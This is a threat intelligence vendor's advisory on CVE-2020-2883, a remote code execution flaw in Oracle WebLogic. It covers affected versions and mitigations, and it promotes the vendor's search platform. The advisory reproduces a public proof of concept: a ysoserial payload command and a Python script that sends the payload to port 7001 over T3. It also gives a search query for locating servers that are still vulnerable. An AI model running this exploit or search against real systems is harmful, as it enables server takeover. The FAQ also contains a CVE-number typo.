CVE-2020-2883 is a critical security vulnerability in Oracle WebLogic Server that allows remote code execution (RCE), with a CVSS score of 9.8. Initially reported in April 2020, it was added to the CISA Known Exploited Vulnerabilities (KEV) list on January 7, 2025. This indicates that even after five years, the vulnerability remains unpatched in many IT environments and continues to pose a significant risk.
This article explores the Oracle WebLogic vulnerability CVE-2020-2883, demonstrates its potential dangers through a proof of concept (PoC), and emphasizes the importance of threat intelligence and attack surface management in identifying and defending against such vulnerabilities.
CVE-2020-2883: RCE Vulnerability in Oracle WebLogic Server
CVE-2020-2883 exploits a flaw in the processing of serialized data via the IIOP (Internet Inter-ORB Protocol) or WebLogic’s proprietary T3 protocol. By injecting malicious data, attackers can remotely execute code. The vulnerability affects Oracle WebLogic Server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, and 12.2.1.4.0. If exploited, attackers can gain complete control of the server, leading to data breaches, service disruptions, and further network infiltration.
Impacted Versions:
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0
- 12.2.1.4.0
Risk Analysis Through a Published PoC
Identifying Defense Points and Strengthening Security Through Published PoCs
Published PoCs offer valuable insights for enhancing security. In particular, the threat intelligence search engine Criminal IP facilitates this process by displaying relevant PoCs for CVEs detected in IT assets. When a CVE with an existing PoC is identified, the associated IP address report includes the PoC details. This allows users to simultaneously verify the presence of CVEs and review the corresponding PoCs through Criminal IP.
Below is an example of PoC information for CVE-2020-2883:
Steps for Exploiting CVE-2020-2883 via PoC
A publicly available PoC on GitHub outlines the following steps for exploiting CVE-2020-2883:
1. Set up a WebLogic Server (versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, or 12.2.1.4.0) alongside a Python or Java runtime.
2. Use the ysoserial tool to create a serialized data payload (payload.ser). Replace "command" with the desired system command:
java -jar ysoserial.jar CommonsCollections5 “command” > payload.ser
3. Send the payload.ser generated using the T3 protocol to the WebLogic Server.
import socket
host = “vulnerable WebLogic Server IP”
port = 7001 # Default T3 portwith open(“payload.ser”, “rb”) as f:
payload = f.read()s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(b”\x00\x00\x00\x01″ + payload) # Add T3 header
This process underscores the importance of securing T3 protocol settings and enforcing robust firewall configurations.
Using Criminal IP to Identify Vulnerable Oracle WebLogic Servers
Identifying Vulnerable Oracle WebLogic Servers With CVE and Title Filters
To detect exposed WebLogic servers affected by CVE-2020-2883, the threat intelligence platform Criminal IP can be utilized. In Criminal IP Asset Search, a combination of the cve_id, title, and NOT filters ensures comprehensive results while excluding irrelevant entries (e.g., 404 errors). The search query will begin with cve_id: CVE-2020-2883 to identify IP addresses with the CVE-2020-2883 vulnerability. To filter out results leading to 404 pages, NOT title: "Error 404--Not Found" will be added to the query.
Criminal IP Search Query: cve_id: CVE-2020-2883 NOT title: “Error 404–Not Found”
Search results revealed 396 exposed WebLogic servers still vulnerable to CVE-2020-2883. A sample IP report identified an Oracle-owned IP address running version 12.2.1.4.0, with a total of 167 vulnerabilities, including CVE-2020-2883.
As shown in the search results, a large number of Oracle WebLogic servers that have not applied the patch are still exposed externally. To verify if the servers in use are running vulnerable versions of the CVE, it is necessary to use security tools such as the threat hunting tool Criminal IP or the attack surface management solution Criminal IP ASM.
FAQ – Frequently Asked Questions
What is the issue with the WebLogic server RCE vulnerability CVE-2020-2883?
Although patched five years ago, this vulnerability remains highly dangerous due to the following reasons:
- Remote Code Execution (RCE): Attackers can execute malicious code without authentication, allowing them to steal data, install malicious software, or take control of system privileges, potentially bringing the server down.
- Business Service Disruption: Since WebLogic servers primarily host large-scale enterprise applications, RCE attacks can cause service interruptions, severely impacting business operations and reputation.
- Data Breach and Loss: Sensitive data stored on WebLogic servers (such as customer information, intellectual property, etc.) is at risk of being exposed, leading to potential legal issues and financial losses for the company.
- Additional Attack Surface: WebLogic servers are often integrated with other systems and databases, providing an entry point for further attacks within the network, including ransomware installation, lateral movement, and privilege escalation.
- Exploitation Automation: Once PoC code is released, attackers can easily perform large-scale attacks using automated scripts, leading to increased brute-force attacks targeting publicly exposed WebLogic servers.
- Exposure of Poor Security Management: Exploiting weak security settings in WebLogic servers reveals inadequate security management practices, which can negatively affect the company’s reputation.
What should be included in a security administrator’s checklist to address RCE vulnerabilities such as CVE-2020-2833?
To address RCE attacks, regular asset scanning and vulnerability management based on automated attack surface management are essential. After identifying vulnerable attack surfaces and weaknesses, the following actions should be taken:
- Apply Patches: Quickly apply security patches provided by vendors, such as Oracle, to address known vulnerabilities.
- Disable T3 and IIOP Protocols: Disable unnecessary T3 and IIOP protocols to reduce the attack surface.
- Restrict Access: Block the management and T3 ports of WebLogic servers through firewalls to prevent unauthorized access.
- Strengthen Input Validation: Rigorously validate untrusted input data to prevent exploitation of vulnerabilities related to insecure deserialization or other input-based attacks.
The Necessity of Swift Patch Application and Attack Surface Management
Even five years after its discovery, CVE-2020-2883 remains a widespread threat, with many WebLogic servers still exposed to the internet. Criminal IP ASM provides critical visibility into your IT assets, enabling proactive risk management and continuous monitoring. To safeguard your network, ensure all assets are regularly scanned, vulnerabilities are promptly addressed, and comprehensive security protocols are in place.
In relation to this, you can refer to Oracle WebLogic RCE Vulnerability: CVE-2023-21839.
This report is based on data from Criminal IP, a Cyber Threat Intelligence search engine. Sign up for a free Criminal IP account today to explore the search results mentioned in the report and delve into comprehensive threat intelligence.
Source: Criminal IP (https://www.criminalip.io/)
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